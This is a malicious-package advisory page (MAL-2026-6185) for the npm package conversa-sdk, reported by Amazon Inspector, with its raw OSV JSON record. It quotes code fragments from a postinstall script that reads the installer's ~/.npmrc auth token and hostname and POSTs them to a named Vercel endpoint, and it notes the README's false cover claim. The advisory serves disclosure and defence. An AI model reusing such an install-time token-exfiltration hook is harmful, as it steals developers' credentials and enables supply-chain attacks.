mal-2026-6185
Vulnerability from ossf_malicious_packages
Published
2026-06-19 04:57
Modified
2026-06-19 05:18
Summary
Malicious code in conversa-sdk (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (baaff1de63d44fd5f6b4fb1c5d3ebb4e9509d7581ff9afa5f339acad8f57aed0)

On npm install, postinstall.js unconditionally reads the installer's ~/.npmrc (which typically contains //registry.npmjs.org/:_authToken=...) along with the OS username, hostname, node version, and platform, and POSTs the combined payload as JSON to https://chatbot-lac-eight-78.vercel.app/api/validate. The relevant code is at postinstall.js:23 (fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8')) and postinstall.js:27-42 (JSON.stringify({ type: 'workspace_init', user: u.username, host: os.hostname(), npmrc,... }) sent via https.request({ hostname: 'chatbot-lac-eight-78.vercel.app', path: '/api/validate', method: 'POST' })). The README explicitly claims 'No home-directory writes / No network calls during install' — a deliberate cover story directly contradicted by the postinstall behavior. The destination is a generic Vercel preview-style hostname with no publisher identity matching the package. Stolen npm auth tokens grant the attacker publish rights to any package the installer maintains, enabling onward supply-chain pivot.

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.
  • CWE-506 - The product contains code that appears to be malicious in nature.
Credits

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "postinstall.js",
              "sha256": "90b6bf2883402e4afa08dabfb7b6060aaf3edd3319a7455ad3a805d2dc73c553",
              "tlsh": "093142f345aed93747b44696e098a426ab67c305374ab870b15c014c6bc93dc4133afc"
            }
          ],
          "package_integrity": [
            {
              "filename": "conversa-sdk-2.0.2.tgz",
              "hashes": {
                "sha1": "cb06df99f1333774140ee036080b21762d83233b",
                "sha512_sri": "sha512-IQLWC4QqDDK+pUZ6HfKVzgzz11G7JsFxGRMx+LdmQTb4KSpU3/TiWkG0Ym7jLHa37yrYqPiui9cD/jVtm3zgnw=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "conversa-sdk"
      },
      "versions": [
        "2.0.2",
        "1.0.9"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-007051",
        "import_time": "2026-06-19T05:16:49.353152005Z",
        "modified_time": "2026-06-19T04:57:54Z",
        "sha256": "9eb25af4493d35dea152523e50bcb419ce6e6147ba1725d8d5d15d20ff2a77a6",
        "source": "amazon-inspector",
        "versions": [
          "2.0.2"
        ]
      },
      {
        "id": "IN-MAL-2026-007050",
        "import_time": "2026-06-19T05:16:49.197833796Z",
        "modified_time": "2026-06-19T04:57:48Z",
        "sha256": "baaff1de63d44fd5f6b4fb1c5d3ebb4e9509d7581ff9afa5f339acad8f57aed0",
        "source": "amazon-inspector",
        "versions": [
          "1.0.9"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (baaff1de63d44fd5f6b4fb1c5d3ebb4e9509d7581ff9afa5f339acad8f57aed0)\nOn `npm install`, postinstall.js unconditionally reads the installer\u0027s `~/.npmrc` (which typically contains `//registry.npmjs.org/:_authToken=...`) along with the OS username, hostname, node version, and platform, and POSTs the combined payload as JSON to `https://chatbot-lac-eight-78.vercel.app/api/validate`. The relevant code is at postinstall.js:23 (`fs.readFileSync(path.join(os.homedir(), \u0027.npmrc\u0027), \u0027utf8\u0027)`) and postinstall.js:27-42 (`JSON.stringify({ type: \u0027workspace_init\u0027, user: u.username, host: os.hostname(), npmrc,... })` sent via `https.request({ hostname: \u0027chatbot-lac-eight-78.vercel.app\u0027, path: \u0027/api/validate\u0027, method: \u0027POST\u0027 })`). The README explicitly claims \u0027No home-directory writes / No network calls during install\u0027 \u2014 a deliberate cover story directly contradicted by the postinstall behavior. The destination is a generic Vercel preview-style hostname with no publisher identity matching the package. Stolen npm auth tokens grant the attacker publish rights to any package the installer maintains, enabling onward supply-chain pivot.\n",
  "id": "MAL-2026-6185",
  "modified": "2026-06-19T05:18:24Z",
  "published": "2026-06-19T04:57:48Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/conversa-sdk/v/2.0.2"
    },
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/conversa-sdk/v/1.0.9"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in conversa-sdk (npm)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…